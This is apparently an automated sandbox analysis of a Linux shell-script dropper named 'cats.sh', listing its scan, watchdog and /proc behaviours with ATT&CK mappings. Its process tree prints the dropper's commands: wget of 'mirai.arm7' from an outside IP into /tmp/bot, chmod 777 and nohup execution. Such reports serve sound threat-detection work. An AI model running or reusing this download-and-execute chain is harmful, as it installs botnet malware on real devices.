Analysis
- max time kernel
148s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
09/11/2026, 06:32
General
- Target cats.sh
- Size 537B
- Sample261109-hapc7svv9n
- SHA256 1985cefcce24e91e2acee27754b68cee0bf285115a917d403eafddc3e2c54c61
Score
9/10
Malware Config
Signatures
- Contacts a large (167433) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Changes its process name 1 IoCs
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Reads runtime system information 14 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/cats.sh/tmp/cats.sh1⤵
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/bin/unameuname -m2⤵
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/usr/bin/wgetwget http://45.135.194.52:8081/mirai.arm7 -O /tmp/bot2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 /tmp/bot2⤵
- File and Directory Permissions Modification
-
-
/bin/sleepsleep 102⤵
-
-
/usr/bin/nohupnohup /tmp/bot2⤵
- Executes dropped EXE
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/tmp/bot/tmp/bot2⤵
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
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Downloads
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